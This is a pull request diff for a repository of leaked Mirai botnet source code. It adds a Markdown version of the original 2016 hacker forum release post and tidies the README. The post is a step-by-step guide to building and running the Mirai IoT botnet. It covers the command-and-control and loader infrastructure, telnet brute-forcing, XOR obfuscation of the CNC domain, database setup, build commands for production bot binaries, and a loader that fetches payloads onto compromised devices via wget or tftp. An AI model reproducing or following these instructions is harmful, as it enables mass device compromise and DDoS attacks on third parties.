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supersedes jgamblin#7
closes jgamblin#5

Author: samrocketman

ForumPost.md

@@ -0,0 +1,240 @@
+* Original quote from: [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472)
+* Date posted: Fri 30 Sep 19:50:52 UTC 2016
+* [See original archived post](ForumPost.txt)
+
+# Preface
+
+Greetz everybody,
+
+When I first go in DDoS industry, I wasn't planning on staying in it long. I
+made my money, there's lots of eyes looking at IOT now, so it's time to GTFO.
+However, I know every skid and their mama, it's their wet dream to have
+something besides qbot.
+
+So today, I have an amazing release for you. With Mirai, I usually pull max 380k
+bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting
+down and cleaning up their act. Today, max pull is about 300k bots, and
+dropping.
+
+So, I am your senpai, and I will treat you real nice, my hf-chan.
+
+And to everyone that thought they were doing anything by hitting my CNC, I had
+good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to
+reconnect, lol
+
+Also, shoutout to this blog post by malwaremustdie
+
+* http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
+* https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
+  <- backup in case low quality reverse engineer unixfreaxjp decides to edit his
+  posts lol
+
+Had a lot of respect for you, thought you were good reverser, but you
+really just completely and totally failed in reversing this binary. "We still
+have better kung fu than you kiddos" don't make me laugh please, you made so
+many mistakes and even confused some different binaries with my. LOL
+
+Let me give you some slaps back -
+
+1. port `48101` is not for back connect, it is for control to prevent multiple
+   instances of bot running together
+2. `/dev/watchdog` and `/dev/misc` are not for "making the delay", it for
+   preventing system from hanging. This one is low-hanging fruit, so sad that
+   you are extremely dumb
+3. You failed and thought `FAKE_CNC_ADDR` and `FAKE_CNC_PORT` was real CNC, lol
+   "And doing the backdoor to connect via HTTP on 65.222.202.53". you got
+   tripped up by signal flow ;) try harder skiddo
+4. Your skeleton tool sucks ass, it thought the attack decoder was "sinden
+   style", but it does not even use a text-based protocol? CNC and bot
+   communicate over binary protocol
+5. you say 'chroot("/") so predictable like torlus' but you don't understand,
+   some others kill based on cwd. It shows how out-of-the-loop you are with real
+   malware. Go back to skidland
+
+5 slaps for you
+
+Why are you writing reverse engineer tools? You cannot even correctly reverse in
+the first place. Please learn some skills first before trying to impress others.
+Your arrogance in declaring how you "beat me" with your dumb kung-fu statement
+made me laugh so hard while eating my SO had to pat me on the back.
+
+Just as I forever be free, you will be doomed to mediocracy forever.
+
+
+# Requirements
+
+### Bare Minimum
+
+2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading
+
+### Pro Setup (my setup)
+
+2 VPS and 4 servers
+
+* 1 VPS with extremely bulletproof host for database server
+* 1 VPS, rootkitted, for scanReceiver and distributor
+* 1 server for CNC (used like 2% CPU with 400k bots)
+* 3x 10gbps NForce servers for loading (distributor distributes to 3 servers
+  equally)
+
+
+# Infrastructure Overview
+
+* To establish connection to CNC, bots resolve a domain
+  ([`resolv.c`](mirai/bot/resolv.c)/[`resolv.h`](mirai/bot/resolv.h)) and
+  connect to that IP address
+* Bots brute telnet using an advanced SYN scanner that is around 80x faster than
+  the one in qbot, and uses almost 20x less resources. When finding bruted
+  result, bot resolves another domain and reports it. This is chained to a
+  separate server to automatically load onto devices as results come in.
+* Bruted results are sent by default on port 48101. The utility called
+  scanListen.go in tools is used to receive bruted results (I was getting around
+  500 bruted results per second at peak). If you build in debug mode, you should
+  see the utitlity scanListen binary appear in debug folder.
+
+Mirai uses a spreading mechanism similar to self-rep, but what I call
+"real-time-load". Basically, bots brute results, send it to a server listening
+with `scanListen` utility, which sends the results to the loader. This loop
+(`brute -> scanListen -> load -> brute`) is known as real time loading.
+
+The loader can be configured to use multiple IP address to bypass port
+exhaustion in linux (there are limited number of ports available, which means
+that there is not enough variation in tuple to get more than 65k simultaneous
+outbound connections - in theory, this value lot less). I would have maybe 60k -
+70k simultaneous outbound connections (simultaneous loading) spread out across 5
+IPs.
+
+# Configuring Bot
+
+Bot has several configuration options that are obfuscated in `table.c/table.h`.
+In [`./mirai/bot/table.h`](mirai/bot/table.h) you can find most descriptions for
+configuration options.  However, in [`./mirai/bot/table.c`](mirai/bot/table.c)
+there are a few options you *need* to change to get working.
+
+* `TABLE_CNC_DOMAIN` - Domain name of CNC to connect to - DDoS avoidance very
+  fun with mirai, people try to hit my CNC but I update it faster than they can
+  find new IPs, lol. Retards :)
+* `TABLE_CNC_PORT` - Port to connect to, its set to 23 already
+* `TABLE_SCAN_CB_DOMAIN` - When finding bruted results, this domain it is
+  reported to
+* `TABLE_SCAN_CB_PORT` - Port to connect to for bruted results, it is set to
+  `48101` already.
+
+In [`./mirai/tools`](mirai/tools) you will find something called enc.c - You
+must compile this to output things to put in the table.c file
+
+Run this inside mirai directory
+
+    ./build.sh debug telnet
+
+You will get some errors related to cross-compilers not being there if you have
+not configured them. This is ok, won't affect compiling the enc tool
+
+Now, in the `./mirai/debug` folder you should see a compiled binary called enc.
+For example, to get obfuscated string for domain name for bots to connect to,
+use this:
+
+    ./debug/enc string fuck.the.police.com
+
+The output should look like this
+
+    XOR'ing 20 bytes of data...
+    \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
+
+To update the `TABLE_CNC_DOMAIN` value for example, replace  that long hex string
+with the one provided by enc tool. Also, you see `XOR'ing 20 bytes of data`.
+This value must replace the last argument tas well. So for example, the table.c
+line originally looks like this
+
+    add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
+
+Now that we know value from enc tool, we update it like this
+
+    add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com
+
+Some values are strings, some are port (uint16 in network order / big endian).
+
+# Configuring CNC
+
+    apt-get install mysql-server mysql-client
+
+CNC requires database to work. When you install database, go into it and run
+following commands: http://pastebin.com/86d0iL9g (ref:
+[`db.sql`](scripts/db.sql))
+
+This will create database for you. To add your user,
+
+    INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
+
+Now, go into file [`./mirai/cnc/main.go`](mirai/cnc/main.go)
+
+Edit these values
+
+    const DatabaseAddr string   = "127.0.0.1"
+    const DatabaseUser string   = "root"
+    const DatabasePass string   = "password"
+    const DatabaseTable string  = "mirai"
+
+To the information for the mysql server you just installed
+
+
+# Setting Up Cross Compilers
+
+Cross compilers are easy, follow the instructions at this link to set up. You
+must restart your system or reload .bashrc file for these changes to take
+effect.
+
+http://pastebin.com/1rRCc3aD (ref:
+[`cross-compile.sh`](scripts/cross-compile.sh))
+
+# Building CNC+Bot
+
+The CNC, bot, and related tools:
+
+1. http://santasbigcandycane.cx/mirai.src.zip - *THESE LINKS WILL NOT LAST
+  FOREVER, 2 WEEKS MAX - BACK IT UP!*<br>
+  ![mirai.src.zip contents](scripts/images/BVc7qJs.png)
+2. http://santasbigcandycane.cx/loader.src.zip - *THESE LINKS WILL NOT LAST
+   FOREVER, 2 WEEKS MAX - BACK IT UP!*
+
+### How to build bot + CNC
+
+In mirai folder, there is [`build.sh`](mirai/build.sh) script.
+
+    ./build.sh debug telnet
+
+Will output debug binaries of bot that will not daemonize and print out info
+about if it can connect to CNC, etc, status of floods, etc. Compiles to
+`./mirai/debug` folder
+
+    ./build.sh release telnet
+
+Will output production-ready binaries of bot that are extremely stripped, small
+(about 60K) that should be loaded onto devices. Compiles all binaries in format:
+`mirai.$ARCH` to `./mirai/release` folder
+
+
+# Building Echo Loader
+
+Loader reads telnet entries from STDIN in following format:
+
+    ip:port user:pass
+
+It detects if there is wget or tftp, and tries to download the binary using
+that. If not, it will echoload a tiny binary (about 1kb) that will suffice as
+wget.
+
+    ./build.sh
+
+Will build the loader, optimized, production use, no fuss. If you have a file in
+formats used for loading, you can do this
+
+    cat file.txt | ./loader
+
+Remember to `ulimit`!
+
+Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit,
+too much time. All scripts and everything are included to set up working botnet
+in under 1 hours. I am willing to help if you have individual questions (how
+come CNC not connecting to database, I did this this this blah blah), but not
+questions like "My bot not connect, fix it"

README.md

@@ -3,7 +3,8 @@ Leaked Linux.Mirai Source Code for Research/IoT Development Purposes
 
 Uploaded for research purposes and so we can develop IoT and such.
 
-See "ForumPost.txt" for the post in which it leaks, if you want to know how it is all set up and the likes.
+See "ForumPost.txt" or [ForumPost.md](ForumPost.md) for the post in which it
+leaks, if you want to know how it is all set up and the likes.
 
 ## Requirements
 * gcc
@@ -13,7 +14,10 @@ See "ForumPost.txt" for the post in which it leaks, if you want to know how it i
 * mysql-client
 
 ## Credits
+
 [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472)
 
 ## Disclaimer
-This repository is for academic purposes, the use of this software is your responsibility.
+
+This repository is for academic purposes, the use of this software is your
+responsibility.